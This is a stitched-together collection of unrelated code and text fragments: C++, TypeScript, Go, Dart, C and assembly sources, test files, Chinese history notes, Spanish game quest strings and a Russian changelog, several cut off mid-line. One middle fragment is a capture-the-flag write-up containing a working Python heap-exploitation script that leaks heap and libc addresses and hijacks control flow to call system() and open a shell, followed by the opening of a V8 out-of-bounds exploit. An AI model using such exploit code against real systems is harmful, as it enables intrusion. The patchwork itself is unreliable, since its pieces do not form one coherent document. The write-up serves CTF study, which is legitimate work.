//===--- SuspiciousEnumUsageCheck.h - clang-tidy--------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_CLANG_TOOLS_EXTRA_CLANG_TIDY_BUGPRONE_SUSPICIOUSENUMUSAGECHECK_H
#define LLVM_CLANG_TOOLS_EXTRA_CLANG_TIDY_BUGPRONE_SUSPICIOUSENUMUSAGECHECK_H

#include "../ClangTidyCheck.h"

namespace clang::tidy::bugprone {

/// The checker detects various cases when an enum is probably misused (as a
/// bitmask).
/// For the user-facing documentation see:
/// http://clang.llvm.org/extra/clang-tidy/checks/bugprone/suspicious-enum-usage.html
class SuspiciousEnumUsageCheck : public ClangTidyCheck {
public:
  SuspiciousEnumUsageCheck(StringRef Name, ClangTidyContext *Context);
  void registerMatchers(ast_matchers::MatchFinder *Finder) override;
  void check(const ast_matchers::MatchFinder::MatchResult &Result) override;
  void storeOptions(ClangTidyOptions::OptionMap &Opts) override;
  std::optional<TraversalKind> getCheckTraversalKind() const override {
    return TK_IgnoreUnlessSpelledInSource;
  }

private:
  void checkSuspiciousBitmaskUsage(const Expr*, const EnumDecl*);
  const bool StrictMode;
};

} // namespace clang::tidy::bugprone

#endif // LLVM_CLANG_TOOLS_EXTRA_CLANG_TIDY_BUGPRONE_SUSPICIOUSENUMUSAGECHECK_H


 () => {
          ['modern-image-formats', 'render-blocking-resources', 'unused-javascript',
            'uses-text-compression'].forEach(audit => {
            dom.findAll(`#${audit} tr`, container)
              .filter(el => dom.findAll('.lh-text__url', el).length > 0)
              .forEach(el => expect(el.dataset.entity).toBeTruthy());
          });
        });

        it('filters out third party resources in on click', () => {
          const filterCheckbox = dom.find('#modern-image-formats .lh-3p-filter-input', container);

          function getUrlsInTable() {
            return dom
              .findAll('#modern-image-formats tr:not(.lh-row--hidden) .lh-text__url a:first-child', container) // eslint-disable-line max-len
              .map(el => el.textContent);
          }

          expect(getUrlsInTable()).toEqual(['/img1.jpg', '/img2.jpg', '/img3.jpg']);
          filterCheckbox.click();
          expect(getUrlsInTable()).toEqual(['/img2.jpg']);
          filterCheckbox.click();
          expect(getUrlsInTable()).toEqual(['/img1.jpg', '/img2.jpg', '/img3.jpg']);

          const filter3pCount = dom.find('#modern-image-formats .lh-3p-filter-count', container);
          expect(filter3pCount.textContent).toEqual('2');
        });

        it('filters out sub-item rows of third party resources on click', () => {
          const auditEl = dom.find('#unused-javascript', container);
          const filterCheckbox = dom.find('.lh-3p-filter-input', auditEl);

          // ensure filter checkbox is visible
          expect(dom.find('.lh-3p-filter', auditEl).hidden).toBeFalsy();

          function getRowIdentifiers() {
            return dom
              .findAll(
                'tbody tr:not(.lh-row--hidden)', auditEl)
              .map(el => el.textContent);
          }

          const initialExpected = [
            'cdn.com110.1 KiB8.8 KiB',
            '/script1.js(www.cdn.com)110.1 KiB8.8 KiB',
            '10.0 KiB0.0 KiB',
            '20.0 KiB0.0 KiB',
            'example.com 1st party110.1 KiB8.8 KiB',
            '/script2.js(www.example.com)110.1 KiB8.8 KiB',
            '30.0 KiB0.0 KiB',
            '40.0 KiB0.0 KiB',
            'notexample.com110.1 KiB8.8 KiB',
            '/script3.js(www.notexample.com)110.1 KiB8.8 KiB',
            '50.0 KiB0.0 KiB',
            '60.0 KiB0.0 KiB',
          ];

          expect(getRowIdentifiers()).toEqual(initialExpected);
          // Ensure zebra striping isn't used for grouped tables.
          expect(dom.findAll('tbody .lh-row--even', auditEl).length).toEqual(0);

          filterCheckbox.click();
          expect(dom.findAll('tbody .lh-row--even', auditEl).length).toEqual(0);
          expect(getRowIdentifiers()).toEqual([
            'example.com 1st party110.1 KiB8.8 KiB',
            '/script2.js(www.example.com)110.1 KiB8.8 KiB',
            '30.0 KiB0.0 KiB',
            '40.0 KiB0.0 KiB',
          ]);

          filterCheckbox.click();
          expect(dom.findAll('tbody .lh-row--even', auditEl).length).toEqual(0);
          expect(getRowIdentifiers()).toEqual(initialExpected);

          const filter3pCount = dom.find('#unused-javascript .lh-3p-filter-count', auditEl);
          expect(filter3pCount.textContent).toEqual('2');
        });

        it('adds no filter for audits in thirdPartyFilterAuditExclusions', () => {
          const checkboxClassName = 'lh-3p


/*
 * Title:			Spectrum Next 3D Engine
 * Author:			Dean Belfield
 * Contributors:	Henrique Olifiers, Michael "Flash" Ware
 * Created:			20/08/2025
 * Last Updated:	07/10/2025
 *
 * Modinfo:
 * 04/09/2025:		Moved models to includes in models folder
 * 22/09/2025:		Beta version 0.5
 * 07/10/2025:		Moved demo code to demos folder
 */

#pragma output REGISTER_SP = 0xbfff

#include <arch/zxn.h>
#include <stdint.h>             // standard names for ints with no ambiguity
#include <stdio.h>
#include <stdlib.h>
#include <z80.h>
#include <im2.h>
#include <intrinsic.h>

#include "core.h"
#include "main.h"
#include "kernel.h"
#include "render.h"
#include "clipping.h"
#include "maths.h"
#include "render_3D.h"
#include "sprites.h"
#include "experiments.h"		// Work-in-progress stuff

// ***************************************************************************************************************************************
// Global data
// ***************************************************************************************************************************************

// ***************************************************************************************************************************************
//  Main startup and loop
// ***************************************************************************************************************************************

void main(void)
{
//  BREAK;
    NextReg(0x57,2);          	// Page in kernel
    initKernel();
    initIRQs();
    NextReg(0x08,0x4A);        	// Disable RAM contention, enable DAC and turbosound
//  NextReg(0x05,0x04);			// 60Hz mode
	NextReg(0x15,0x21);			// Enable sprites and clipping, SLU priority
	setCPU(3);					// 28Mhz
    initL2();
	zx_border(INK_RED);

	while(1) {
		clearL2(0);
		readKeyboard();
		//
		// TODO: Your code here
		//
		waitVBlank();	// Wait for the vblank before switching
		swapL2(); 		// Do the double-buffering
	};
}


 The physical location of a source.
     */
    location: string;

    /**
     * A flag if the source has a source description.
     */
    hasDescription: boolean;

    /**
     * The link to the source description.
     */
    linkTo: string;
}

/**
 * The TextSource class.
 *
 * It is used in the context of the edition view
 * to store the data for a single text source
 * from a sourcelist json file.
 */
export class TextSource {
    /**
     * The id of a text source.
     */
    id: string;

    /**
     * The siglum of a text source.
     */
    siglum: string;

    /**
     * The addendum to a siglum of a text source.
     */
    siglumAddendum?: string;

    /**
     * The type description of a text source.
     */
    type: string;

    /**
     * The physical location of a text source.
     */
    location: string;
}

/**
 * The SourceList class.
 *
 * It is used in the context of the edition view
 * to store the data for a source list
 * from a sourcelist json file.
 */
export class SourceList {
    /**
     * The array of sources from a source list.
     */
    sources: Source[];

    /**
     * The array of text sources from a source list.
     */
    textSources?: TextSource[];
}
import { describe, test, expect } from 'vitest';

import { getEndCol, getEndLine } from './get-location.js';

describe('getEndLine', () => {
	test('empty', () => {
		expect(getEndLine('', 1)).toBe(1);
		expect(getEndLine('', 3)).toBe(3);
	});

	test('basic', () => {
		expect(getEndLine('\n\n', 2)).toBe(4);
		expect(getEndLine('\n\n', 4)).toBe(6);
		expect(getEndLine('\n\n  \n  \n  foo', 1)).toBe(5);
		expect(getEndLine('\n\n  \n  \n  foo', 6)).toBe(10);
	});
});

describe('getEndCol', () => {
	test('empty', () => {
		expect(getEndCol('', 1)).toBe(1);
		expect(getEndCol('', 3)).toBe(3);
	});

	test('basic', () => {
		expect(getEndCol('  ', 2)).toBe(4);
		expect(getEndCol('  ', 4)).toBe(6);
		expect(getEndCol('foo bar', 1)).toBe(8);
		expect(getEndCol('foo bar', 6)).toBe(13);
	});

	test('with line break', () => {
		expect(getEndCol('foo bar\n', 4)).toBe(1);
		expect(getEndCol('foo bar\n', 4)).toBe(1);
		expect(getEndCol('foo bar\n  ', 4)).toBe(3);
		expect(getEndCol('foo bar\n  ', 4)).toBe(3);
		expect(getEndCol('foo bar\nfoo bar', 1)).toBe(8);
		expect(getEndCol('foo bar\nfoo bar', 6)).toBe(8);
	});
});
import { PersonaInitialsColor } from '@fluentui/react';
import { IDataProvider, ITask } from '../types';

const ADD_TASKS_DELAY = 1;

export default class DataProvider implements IDataProvider {
  private _tasks: ITask[];
  private _isLoading: boolean;
  private _listeners: Array<() => void>;

  public get tasks(): Array<ITask> {
    return this._tasks;
  }

  public set tasks(value: Array<ITask>) {
    this._tasks = value;
    this._


int, p []byte, offset int64) (n int, err error)
//sys	read(fd int, p []byte) (n int, err error)
//sys	Readlink(path string, buf []byte) (n int, err error)
//sys	Rename(from string, to string) (err error)
//sys	Revoke(path string) (err error)
//sys	Rmdir(path string) (err error)
//sys	Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
//sys	Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
//sysnb	Setegid(egid int) (err error)
//sysnb	Seteuid(euid int) (err error)
//sysnb	Setgid(gid int) (err error)
//sysnb	Setpgid(pid int, pgid int) (err error)
//sys	Setpriority(which int, who int, prio int) (err error)
//sysnb	Setregid(rgid int, egid int) (err error)
//sysnb	Setreuid(ruid int, euid int) (err error)
//sysnb	Setrlimit(which int, lim *Rlimit) (err error)
//sysnb	Setsid() (pid int, err error)
//sysnb	Settimeofday(tp *Timeval) (err error)
//sysnb	Setuid(uid int) (err error)
//sys	Stat(path string, stat *Stat_t) (err error)
//sys	Symlink(path string, link string) (err error)
//sys	Sync() (err error)
//sys	Truncate(path string, length int64) (err error)
//sys	Umask(newmask int) (oldmask int)
//sys	Unlink(path string) (err error)
//sys	Unmount(path string, flags int) (err error)
//sys	write(fd int, p []byte) (n int, err error)
//sys	mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
//sys	munmap(addr uintptr, length uintptr) (err error)
//sys	readlen(fd int, buf *byte, nbuf int) (n int, err error) = SYS_READ
//sys	writelen(fd int, buf *byte, nbuf int) (n int, err error) = SYS_WRITE

/*
 * Unimplemented
 */
// ____semctl13
// __clone
// __fhopen40
// __fhstat40
// __fhstatvfs140
// __fstat30
// __getcwd
// __getfh30
// __getlogin
// __lstat30
// __mount50
// __msgctl13
// __msync13
// __ntp_gettime30
// __posix_chown
// __posix_fadvise50
// __posix_fchown
// __posix_lchown
// __posix_rename
// __setlogin
// __shmctl13
// __sigaction_sigtramp
// __sigaltstack14
// __sigpending14
// __sigprocmask14
// __sigsuspend14
// __sigtimedwait
// __stat30
// __syscall
// __vfork14
// _ksem_close
// _ksem_destroy
// _ksem_getvalue
// _ksem_init
// _ksem_open
// _ksem_post
// _ksem_trywait
// _ksem_unlink
// _ksem_wait
// _lwp_continue
// _lwp_create
// _lwp_ctl
// _lwp_detach
// _lwp_exit
// _lwp_getname
// _lwp_getprivate
// _lwp_kill
// _lwp_park
// _lwp_self
// _lwp_setname
// _lwp_setprivate
// _lwp_suspend
// _lwp_unpark
// _lwp_unpark_all
// _lwp_wait


uffer get buffer => _typedBuffer.buffer;

  // Specialization for the specific type.

  // Return zero for integers, 0.0 for floats, etc.
  // Used to fill buffer when changing length.
  E get _defaultValue;

  // Create a new typed list to use as buffer.
  List<E> _createBuffer(int size);
}

abstract class _IntBuffer extends _TypedDataBuffer<int> {
  _IntBuffer(super.buffer);

  @override
  int get _defaultValue => 0;
}

class Uint8Buffer extends _IntBuffer {
  Uint8Buffer([int initialLength = 0]) : super(Uint8List(initialLength));

  @override
  Uint8List _createBuffer(int size) => Uint8List(size);
}
// Copyright 2013 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

import 'dart:typed_data';

import 'package:ui/ui.dart' as ui;

import '../dom.dart';
import '../util.dart';
import '../vector_math.dart';
import 'surface.dart';

/// A surface that transforms its children using CSS transform.
class PersistedTransform extends PersistedContainerSurface
    implements ui.TransformEngineLayer {
  PersistedTransform(PersistedTransform? super.oldLayer, this._matrixStorage);

  /// The storage representing the transform of this surface.
  final Float32List _matrixStorage;

  /// The matrix representing the transform of this surface.
  Matrix4 get matrix4 => _matrix4 ??= Matrix4.fromFloat32List(_matrixStorage);
  Matrix4? _matrix4;

  @override
  void recomputeTransformAndClip() {
    transform = parent!.transform!.multiplied(matrix4);
    projectedClip = null;
  }

  /// Cached inverse of transform on this node. Unlike [transform], this
  /// Matrix only contains local transform (not chain multiplied since root).
  Matrix4? _localTransformInverse;

  @override
  Matrix4? get localTransformInverse {
    _localTransformInverse ??= Matrix4.tryInvert(matrix4);
    return _localTransformInverse;
  }

  @override
  DomElement createElement() {
    final DomElement element = domDocument.createElement('flt-transform');
    setElementStyle(element, 'position', 'absolute');
    setElementStyle(element, 'transform-origin', '0 0 0');
    return element;
  }

  @override
  void apply() {
    rootElement!.style.transform = float64ListToCssTransform(_matrixStorage);
  }

  @override
  void update(PersistedTransform oldSurface) {
    super.update(oldSurface);

    if (identical(oldSurface._matrixStorage, _matrixStorage)) {
      // The matrix storage is identical, so we can copy the matrices from the
      // old surface to avoid recomputing them.
      _matrix4 = oldSurface._matrix4;
      _localTransformInverse = oldSurface._localTransformInverse;
      return;
    }

    bool matrixChanged = false;
    for (int i = 0; i < _matrixStorage.length; i++) {
      if (_matrixStorage[i] != oldSurface._matrixStorage[i]) {
        matrixChanged = true;
        break;
      }
    }

    if (matrixChanged) {
      apply();
    } else {
      // The matrix storage hasn't changed, so we can copy the matrices from the
      // old surface to avoid recomputing them.
      _matrix4 = oldSurface._matrix4;
      _localTransformInverse = oldSurface._localTransformInverse;
    }
  }
}
// Copyright 2013 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

import 'dart:typed_data';

import 'package:ui/ui.dart' as ui;


文化方面是既有希腊、罗马的东西，又有基督教的东西，也有阿拉伯文化，这是一个鼎盛时期，是一个很繁荣的时期。它有它自己的宗教，也是基督教。但是拜占庭帝国又从基督教分出一个“正教”：东正教。“东正教”的意思就是我是正统的，同罗马分庭抗礼。
- 拜占庭帝国的外患比较多，内患也有。主要民族是大斯拉夫人，民族非常复杂。
- 1450年，土耳其吧东罗马帝国灭亡了。
- 拜占庭帝国包括回族人（伊斯兰），在十二三世纪的时候，阿拉伯人曾经大量地流入西欧。特别是沿着地中海到西班牙的阿拉伯人，把西班牙变成一个阿拉伯在西方发展的一个重镇。

英法百年战争。圣女贞德，法国胜利。
英国内战。

古罗马留下的精神财富（虽然哲学很弱）
- 法律精神，
- 行政管理经验；

文艺复兴人物
- 但丁。不自觉的人文主义者。
- 彼特拉克。第一个人文主义者
- 薄伽丘。《十日谈》揭露神职人员的丑恶。
- 马基雅维利。《君主论》，政治是脱离道德的，不择手段。

从14世纪到16世纪的重要事情，主要有这么几件：
- 科学思维的产生。从哥白尼“天文革命”开始，人们不再根据神的意旨或者说教会的意旨来看世界，看宇宙，看人，而是有了自己客观的观察。
- 地理大发现，
- 文艺复兴，
- 宗教改革。这几件事情综合在一起，反映了这个时代的特点：人的精神在解放，眼界在拓宽；人对世界的认识，对社会的认识，对人自身的认识，都在发生与中世纪不同的根本性变化。

## 历史上的经济政策

### 管仲

### 商鞅的经济政策
井田制：划分九个格子，周围8块田地产出归8户农奴，中间部分产出归贵族。

废除井田制，承认土地私有，允许土地买卖。结果：
1. 调动农民积极性。多劳多得


["T"] = "La leyenda de Stalvan",
  },
  [79] = {
    ["D"] = "Seguí la leyenda del tal Stalvan durante años. Hace unos años, cuando asesinaron a aquellos nobles, yo fui con Haggard a investigar el asunto. Encontré estas páginas llenas de barro, pero nunca conseguimos relacionar la caligrafía con ese lunático. Tus pruebas demuestran su culpabilidad. Lleva esto a la comandante Ebonlocke de inmediato e infórmale de lo que has descubierto.",
    ["O"] = "Lleva la página embarrada a la comandante Cerranegro.",
    ["T"] = "La leyenda de Stalvan",
  },
  [80] = {
    ["D"] = "Estuve vigilando a ese asqueroso de Stalvan durante mucho tiempo. Si está página fue escrita por la misma mano... tenemos una prueba de su culpabilidad más allá de una duda razonable.$B$BEl secretario Daltry, a lo largo de sus años en el registro, se ha convertido en un experto calígrafo. Muéstrale esta página y pídele que compruebe si la caligrafía coincide con la de la firma del registro.",
    ["O"] = "Enseña la página del diario manchada de sangre al dependiente Daltry.",
    ["T"] = "La leyenda de Stalvan",
  },
  [81] = {
    ["D"] = "He puesto la caja de calimocho y las otras botellas que se lleva Dran en el barril para que no se muevan. Él no me cae muy bien, pero la verdad es que no hay nada peor que el calimocho agitado.$B$BLlévale el barril a su local en Orgrimmar. Y transmite mi afectuoso saludo a Malton; dile que si alguna vez tiene sed de bebida y de buena compañía, nos honraría mucho su visita.",
    ["O"] = "Entrega el barril a Dran Droffers en Orgrimmar.",
    ["T"] = "Entrega el calimocho",
  },
  [82] = {
    ["D"] = "A ver, en cuanto a estos informes sobre los bichos... lo que sabemos es que están drenando las pozas de agua que antes estaban donde se ubica La Guarida Ponzoñosa. Lo que NO sabemos es... bueno, todo lo demás.$B$B¡Descubramos en primer lugar a quién nos enfrentamos! Quiero que vayas a La Guarida Ponzoñosa y que obtengas algunos trozos de esos bichos. Consigue 5 trozos de centipaar y llévaselos al alquimista Morterozugg para que se encargue de ellos. Con su ayuda podremos descubrir qué son.",
    ["O"] = "Llévale 5 trozos de insectos centipaar de La Guarida Ponzoñosa al alquimista Morterozugg de Gadgetzan.",
    ["T"] = "Investigación en la Guarida Ponzoñosa",
  },
  [83] = {
    ["D"] = "La banda Defias de Villanorte lleva máscaras de tela de saco, pero los Defias de Elwynn las llevan de lino... Esas me vendrían bien para confeccionar prendas.$B$BSi me traes pañuelos de lino rojo, los usaré para hacerte algo bonito.$B$BLa banda Defias tiene campamentos por todo Elwynn.",
    ["O"] = "Lleva 6 vendas de lino rojas a Sara Timberlain al Aserradero de la Vega del Este.",
    ["T"] = "Pañuelos de lino rojo",
  },
  [84] =


runa para que te la entregara. Cuando tengas la oportunidad, léela. Creo que es de Solm, el instructor de pícaros. Échale un vistazo y, cuando puedas, ve a buscar a Solm a Yunquemar."}, {"Lee la runa encriptada, luego ve al Valle de Crestanevada y habla con Solm Hargrin."}},
[3110] = {"Runa sagrada", {"Mientras me estabas ayudando, me fue confiada esta runa para que te la entregara. Cuando tengas la oportunidad, léela. Creo que es de Branstock, el instructor de sacerdotes. Échale un vistazo y, cuando puedas, ve a buscar a Branstock a Yunquemar."}, {"Lee la runa sagrada, luego ve a Yunquemar y habla con Branstock Khalder."}},
[3112] = {"Memorándum simple", {"Mientras me estabas ayudando, me fue confiado este memorándum para que te lo entregara. Cuando tengas la oportunidad, léelo. Creo que es de Thran, el instructor de guerreros. Échale un vistazo y, cuando puedas, ve a buscar a Thran a Yunquemar."}, {"Lee el memorándum simple, luego ve al Valle de Crestanevada y habla con Thran Khorman."}},
[3113] = {"Memorándum encriptado", {"Mientras me estabas ayudando, me fue confiado este memorándum para que te lo entregara. Cuando tengas la oportunidad, léelo. Creo que es de Solm, el instructor de pícaros. Échale un vistazo y, cuando puedas, ve a buscar a Solm a Yunquemar."}, {"Lee el memorándum encriptado, luego ve al Valle de Crestanevada y habla con Solm Hargrin."}},
[3114] = {"Memorándum con inscripciones", {"Mientras me estabas ayudando, me fue confiado este memorándum para que te lo entregara. Cuando tengas la oportunidad, léelo. Creo que es de Marryk, el instructor de magos. Échale un vistazo y, cuando puedas, ve a buscar a Marryk a Yunquemar."}, {"Lee el memorándum con inscripciones, luego ve a hablar con Marryk Nurribit, dentro de Yunquemar, sobre el Valle de Crestanevada."}},
[3115] = {"Memorándum corrupto", {"Mientras me estabas ayudando, me fue confiado este memorándum para que te lo entregara. Cuando tengas la oportunidad, léelo. Creo que es de Alamar, el instructor de brujos. Échale un vistazo y, cuando puedas, ve a buscar a Alamar a Yunquemar.","Y ten cuidado, <nombre>: los de tu clase no son bien recibidos por estos lares."}, {"Lee el memorándum corrupto, luego ve a hablar con Alamar Grimm que está en Yunquemar, sobre el Valle de Crestanevada."}},
[3116] = {"El sigilo simple", {"Un mensajero de nuestra instructora de guerreros, Alyissia, ha traído este sigilo. Parece que quiere hablar contigo. Léelo y luego llévaselo."}, {"Lee el sigilo simple y habla con Alyissia en Cañada Umbría."}},
[3117] = {"El sigilo con grabados", {"Este siglo me lo entregó un mensajero de nuestra instructora de cazadores, Ayanna. Parece que quiere hablar contigo. Léelo y luego llévaselo."}, {"Lee el sigilo con grabados y habla con Ayanna Semprerguida en Aldrassil, en Cañada Umbría."}},
[3118] = {"El sigilo ci


cording = !_isRecording;
        }

        public void Replay()
        {
            _replayTime = 0.0f;
            _isReplaying = true;

            // For the FPP, we will not integrate serialization, so this is just a placeholder implementation
            if (_recordBackup != null)
            {
                _recordedCommands = new(_recordBackup);
            }
            else
            {
                _recordedCommands.Reverse();
                _recordBackup = new(_recordedCommands);
            }
        }

        void FixedUpdate()
        {
            if (_isRecording)
                _recordingTime += Time.deltaTime;

            if (_isReplaying)
            {
                _replayTime += Time.deltaTime;

                if (_recordedCommands.Any())
                {
                    if (Mathf.Approximately(_replayTime, _recordedCommands.Keys[0]))
                    {
                        _recordedCommands.Values[0].Execute();
                        _recordedCommands.RemoveAt(0);
                    }
                }
            }
        }
    }
}


 error {
		query := `DELETE FROM history_migrated`
		tx.Exec(query)
		query = `INSERT INTO history_migrated (historyid, ts, remotename, haderror, cmdstr, exitcode, durationms)
		                               VALUES (?, ?, ?, ?, ?, ?, ?)`
		for _, hobj := range hist {
			tx.Exec(query, hobj.HistoryId, hobj.Ts, hobj.RemoteName, hobj.HadError, hobj.CmdStr, hobj.ExitCode, hobj.DurationMs)
		}
		return nil
	})
}

func TryMigrateOldHistory() error {
	ctx, cancelFn := context.WithTimeout(context.Background(), 10*time.Second)
	defer cancelFn()
	hist, err := GetAllOldHistory()
	if err != nil {
		return err
	}
	if len(hist) == 0 {
		return nil
	}
	err = ReplaceOldHistory(ctx, hist)
	if err != nil {
		return err
	}
	log.Printf("migrated %d old wave history records\n", len(hist))
	client, err := DBGetSingleton[*waveobj.Client](ctx)
	if err != nil {
		return err
	}
	client.HasOldHistory = true
	err = DBUpdate(ctx, client)
	if err != nil {
		return err
	}
	return nil
}
// Copyright 2025, Command Line Inc.
// SPDX-License-Identifier: Apache-2.0

package web

import (
	"bytes"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"io"
	"io/fs"
	"log"
	"net"
	"net/http"
	"os"
	"path/filepath"
	"strconv"
	"time"

	"github.com/google/uuid"
	"github.com/gorilla/mux"
	"github.com/wavetermdev/waveterm/pkg/aiusechat"
	"github.com/wavetermdev/waveterm/pkg/authkey"
	"github.com/wavetermdev/waveterm/pkg/docsite"
	"github.com/wavetermdev/waveterm/pkg/filestore"
	"github.com/wavetermdev/waveterm/pkg/panichandler"
	"github.com/wavetermdev/waveterm/pkg/remote/fileshare"
	"github.com/wavetermdev/waveterm/pkg/schema"
	"github.com/wavetermdev/waveterm/pkg/service"
	"github.com/wavetermdev/waveterm/pkg/util/utilfn"
	"github.com/wavetermdev/waveterm/pkg/wavebase"
	"github.com/wavetermdev/waveterm/pkg/wshrpc"
	"github.com/wavetermdev/waveterm/pkg/wshrpc/wshclient"
	"github.com/wavetermdev/waveterm/pkg/wshrpc/wshserver"
	"github.com/wavetermdev/waveterm/pkg/wshutil"
)

type WebFnType = func(http.ResponseWriter, *http.Request)

const TransparentGif64 = "R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"

// Header constants
const (
	CacheControlHeaderKey     = "Cache-Control"
	CacheControlHeaderNoCache = "no-cache"

	ContentTypeHeaderKey = "Content-Type"
	ContentTypeJson      = "application/json"
	ContentTypeBinary    = "application/octet-stream"

	ContentLengthHeaderKey = "Content-Length"
	LastModifiedHeaderKey  = "Last-Modified"

	WaveZoneFileInfoHeaderKey = "X-ZoneFileInfo"
)

const HttpReadTimeout = 5 * time.Second
const HttpWriteTimeout = 21 * time.Second
const HttpMaxHeaderBytes = 60000
const HttpTimeoutDuration = 21 * time.Second

const WSStateReconnectTime = 30 * time.Second
con


(str(idx))

for i in range(2+4+4):
    add_selfies(0x1c00)
add_sweets(8)
add_sweets(8)
edit_sweets(1, 0x8, p64(0))
payload = p64(0) * 2 + p64(0) + p64(0x000000e4000000e3) + p64(0) + p64(1) + p64(0x00000001ffffffff) + p64(0x20a0)
edit_selfies(9, 0x1c00, 'A' * (0x1c00 - 0x40) + payload)
delete_sweets(0)
show_sweets(1)
io.recvuntil('\n')
leak_heap_addr = u64(io.recvn(8))
print 'leak_heap_addr:', hex(leak_heap_addr)
addr1 = leak_heap_addr - 0x3b40
print hex(addr1)
payload = p64(addr1) + p64(0) * 2 + p64(0) + p64(0x000000e4000000e3) + p64(0) + p64(1) + p64(0x00000001ffffffff) + p64(0xc2)
edit_selfies(9, 0x1c00, 'A' * (0x1c00 - 0x48) + payload)
add_sweets(8, True) # 0
payload = p64(addr1) + p64(0) * 2 + p64(0) + p64(0x000000e4000000e3) + p64(0) + p64(1) + p64(0x00000001ffffffff) + p64(0xc2)
edit_selfies(9, 0x1c00, 'A' * (0x1c00 - 0x48) + payload)
add_sweets(8) # 2
edit_sweets(2, 0x1, '\xff')
show_sweets(0)
io.recvuntil('\n')
leak_addr = u64(io.recvuntil('\n')[:-1].ljust(8, '\x00')) & 0xffffffffffffff00
libc_addr = leak_addr + 0x42000
system = leak_addr + 0xa816c
print 'libc_addr:', hex(libc_addr)
print 'system:', hex(system)

add_sweets(0x30) # 3
addr3 = leak_heap_addr + 0xffa0 # tbin[3]->ncached

# fp->_cookie
print hex(libc_addr+0xc3760)
payload = p64(libc_addr+0xc3760) + p64(addr3) + p64(0) * 2 + p64(0) + p64(0x000000e4000000e3) + p64(0) + p64(1) + p64(0x00000001ffffffff) + p64(0xc2)
edit_selfies(9, 0x1c00, 'A' * (0x1c00 - 0x50) + payload)
add_sweets(8) # 4
edit_sweets(4, 8, p64(0xdb))
add_sweets(0x30) # 5

edit_sweets(5, 0x28, p64(libc_addr+0x9ce04) + p64(libc_addr+0x72948) + p64(libc_addr+0x72950) + p64(0) + p64(system))

io.interactive()
```

### Nativity Scene

Since the challenge allowed `--allow-natives-syntax` flag in `d8`, we was able to call native runtime functions and successfully found an OOB bug in `%TypedArrayCopyElements`. To exploit this OOB bug, we need to bypass ASLR. Luckily since 8.0(or 8.1) version, v8 changed its memory layout. It only stores low 4 bytes of a handle on the heap, which is fixed and allow us to break the v8 heap's ASLR.

```javascript=
BigInt.prototy


IVOR(9, 0x140) /* Auxiliary Processor Unavailable */
	SET_IVOR(10, 0x160) /* Decrementer */
	SET_IVOR(11, 0x180) /* Fixed Interval Timer */
	SET_IVOR(12, 0x1a0) /* Watchdog Timer */
	SET_IVOR(13, 0x1c0) /* Data TLB Error */
	SET_IVOR(14, 0x1e0) /* Instruction TLB Error */
	SET_IVOR(15, 0x040) /* Debug */

	sync

	blr

_GLOBAL(setup_altivec_ivors)
	SET_IVOR(32, 0x200) /* AltiVec Unavailable */
	SET_IVOR(33, 0x220) /* AltiVec Assist */
	blr

_GLOBAL(setup_perfmon_ivor)
	SET_IVOR(35, 0x260) /* Performance Monitor */
	blr

_GLOBAL(setup_doorbell_ivors)
	SET_IVOR(36, 0x280) /* Processor Doorbell */
	SET_IVOR(37, 0x2a0) /* Processor Doorbell Crit */
	blr

_GLOBAL(setup_ehv_ivors)
	SET_IVOR(40, 0x300) /* Embedded Hypervisor System Call */
	SET_IVOR(41, 0x320) /* Embedded Hypervisor Privilege */
	SET_IVOR(38, 0x2c0) /* Guest Processor Doorbell */
	SET_IVOR(39, 0x2e0) /* Guest Processor Doorbell Crit/MC */
	blr

_GLOBAL(setup_lrat_ivor)
	SET_IVOR(42, 0x340) /* LRAT Error */
	blr


лений об изменениях
  - Статистика производительности (hits, misses, updates, invalidations)
- 🎨 **УЛУЧШЕНИЯ UX/UI**: Исправления пользовательского интерфейса
  - Исправлен интерфейс отложенной отправки - автоматическое удаление устаревших кнопок
  - Добавлены гиперссылки на посты в уведомлениях о публикации
  - Единообразный интерфейс для всех типов пользователей
  - Создана миграция `008_add_cancel_message_id.py` для отслеживания сообщений с кнопками
- 📝 **МОРФОЛОГИЯ ПСЕВДОНИМОВ**: Исправление склонения прилагательных
  - Создан `app/utils/alias_morphology.py` - морфологический анализ слов
  - Создан `app/utils/word_normalization.py` - нормализация слов
  - Исправлено склонение прилагательных по роду существительных
  - "роговообманковый обезьяна" → "роговообманковая обезьяна"
  - Graceful fallback при недоступности pymorphy3
  - Полное покрытие тестами (13 passed)

### Fixed
- 🐛 **КРИТИЧЕСКОЕ ИСПРАВЛЕНИЕ**: Проблема с двойным символом @ в username при удалении администратора
  - Исправлена обработка username в `action_remove_admin.py`
  - Упрощена обработка username (убрана избыточная валидация)
  - Упрощен код (в 3.4 раза меньше строк)
  - Обеспечена консистентность с функцией добавления администратора
  - Созданы тесты для проверки исправления (`tests/unit/test_username_double_at_fix.py`)
- 🐛 **КРИТИЧЕСКОЕ ИСПРАВЛЕНИЕ**: Проблема с добавлением администратора по username
  - Исправлен порядок поиска: сначала `get_chat()`, потом БД
  - Обеспечена консистентность с функцией передачи администратора
  - Улучшена логика fallback на поиск в БД
  - Созданы тесты для проверки исправления (`tests/unit/test_add_admin_username_fix.py`)
- ⚡ **ОПТИМИЗАЦИЯ ПРОИЗВОДИТЕЛЬНОСТИ**: Устранение медленной загрузки pymorphy3
  - Убран pymorphy3 из системы (медленная загрузка)
  - Заменена на простые правила нормализации слов
  - Умная обработка текста: до 200 символов полностью, больше 200 - каждое втор


BridgeEndEnum(t, &info);
	}
	for (const Train *t : VehiclesOnTile<VEH_TRAIN>(other_tile)) {
		FindClosestTrainToTunnelBridgeEndEnum(t, &info);
	}
	return info.best;
}

struct GetAvailableFreeTilesInSignalledTunnelBridgeChecker {
	DiagDirection direction;
	int pos;
	int lowest_seen;
};

